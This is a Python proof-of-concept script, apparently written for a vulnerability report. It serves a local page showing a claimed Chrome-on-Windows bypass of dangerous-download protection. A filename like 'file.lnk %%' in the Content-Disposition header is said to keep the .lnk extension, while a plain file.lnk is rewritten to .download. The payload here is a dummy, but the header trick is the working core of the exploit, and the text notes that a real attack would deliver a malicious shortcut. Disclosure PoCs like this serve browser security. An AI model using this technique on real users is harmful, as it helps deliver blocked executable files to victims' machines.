#!/usr/bin/env python3 # PoC: Dangerous file download bypass via `%` in filename sanitization (Windows · Chrome) # - Goal: ONLY “Save link as…” works; left-click does nothing. # - Tiles are links styled as images (data-URI background). No , no external assets. # - CONTROL: filename="file.lnk" → expected Chrome rewrite to .download # - BYPASS: filename="file.lnk %%"→ on affected builds, may show "file.lnk .lnk" # - Server serves payload.download bytes so saved file isn’t HTML and stays consistent if rewritten. import os from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs from datetime import datetime HOST, PORT = "127.0.0.1", 8000 DATA_URI_BG = ( "data:image/svg+xml;base64," "PHN2ZyB3aWR0aD0iODAwIiBoZWlnaHQ9IjUwMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3Jn" "LzIwMDAvc3ZnIj48ZGVmcz48bGluZWFyR3JhZGllbnQgaWQ9ImciIHgyPSIxIiB5Mj0iMSI+" "PHN0b3Agb2Zmc2V0PSIwIiBzdG9wLWNvbG9yPSIjZWRmMmZmIi8+PHN0b3Agb2Zmc2V0PSIx" "IiBzdG9wLWNvbG9yPSIjY2FkYmZlIi8+PC9saW5lYXJHcmFkaWVudD48L2RlZnM+PHJlY3Qg" "d2lkdGg9IjgwMCIgaGVpZ2h0PSI1MDAiIGZpbGw9InVybCgjZykiIHJ4PSIyMCIvPjwvc3Zn" "Pg==" ) INDEX_HTML = f""" PoC — Dangerous file download bypass via % in filename sanitization (Windows · Chrome)

PoC: Dangerous file download bypass via % in filename sanitization (Windows · Chrome)

Impact: Chrome normally blocks dangerous file types (e.g., .lnk) by rewriting them to .download. With crafted percent sequences in the suggested filename, sanitization can be bypassed and the dangerous extension can persist — sometimes appearing as a “double extension” (e.g., file.lnk .lnk). The real risk is delivery of files Chrome is supposed to block.

How to use: Right-click a tile and choose Save link as…. Left-click is intentionally disabled.

Right-click → Save link as…
Control — plain file.lnk → should become .download
Server sends: Content-Disposition: attachment; filename="file.lnk"
Expected behavior: Chrome rewrites to .download (blocks shortcut execution).
Right-click → Save link as…
Bypass — file.lnk %% → often shown as file.lnk .lnk
Server sends: Content-Disposition: attachment; filename="file.lnk %%"
Bypassed behavior: on affected builds, the dangerous .lnk survives (via double-extension), enabling shortcut delivery.

The response body is a harmless payload.download to avoid saving HTML. In a real attack, the payload could be a malicious shortcut. This PoC demonstrates that bypass is possible; the security concern is the ability to deliver dangerous formats (e.g., .lnk), not merely cosmetic filename issues.

""" def ensure_assets(): if not os.path.exists("payload.download"): with open("payload.download", "wb") as f: f.write(b"# Dummy payload for PoC\n# Replace with harmless bytes if desired.\n") with open("index.html", "w", encoding="utf-8") as f: f.write(INDEX_HTML) def http_date(): return datetime.utcnow().strftime("%a, %d %b %Y %H:%M:%S GMT") class Handler(BaseHTTPRequestHandler): def _send_bytes(self, body: bytes, headers: dict): self.send_response(200) for k, v in headers.items(): self.send_header(k, v) self.send_header("X-Content-Type-Options", "nosniff") self.send_header("Cache-Control", "no-store, max-age=0") self.send_header("Pragma", "no-cache") self.send_header("Expires", http_date()) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def _send_file(self, path: str, content_type: str): with open(path, "rb") as f: body = f.read() self._send_bytes(body, {"Content-Type": content_type}) def do_GET(self): parsed = urlparse(self.path) path = parsed.path q = parse_qs(parsed.query) if path in ("/", "/index.html"): return self._send_file("index.html", "text/html; charset=utf-8") if path == "/download": case = (q.get("case", [""])[0] or "").lower() if case == "lnk_plain": disp_name = 'file.lnk' # CONTROL: should be rewritten to .download elif case == "lnk_pct": disp_name = 'file.lnk %%' # BYPASS: often becomes "file.lnk .lnk" else: disp_name = 'file.bin' # fallback with open("payload.download", "rb") as f: body = f.read() headers = { "Content-Disposition": f'attachment; filename="{disp_name}"', "Content-Type": "application/octet-stream", } return self._send_bytes(body, headers) self.send_error(404, "Not Found") def main(): ensure_assets() print(f"[*] Serving PoC on http://{HOST}:{PORT}/") print("[*] Right-click → Save link as… ONLY. Left-click is disabled.") print("[*] Endpoints:") print(' /download?case=lnk_plain (filename="file.lnk") → CONTROL (should rewrite to .download)') print(' /download?case=lnk_pct (filename="file.lnk %%") → BYPASS (may show "file.lnk .lnk")') HTTPServer((HOST, PORT), Handler).serve_forever() if __name__ == "__main__": main()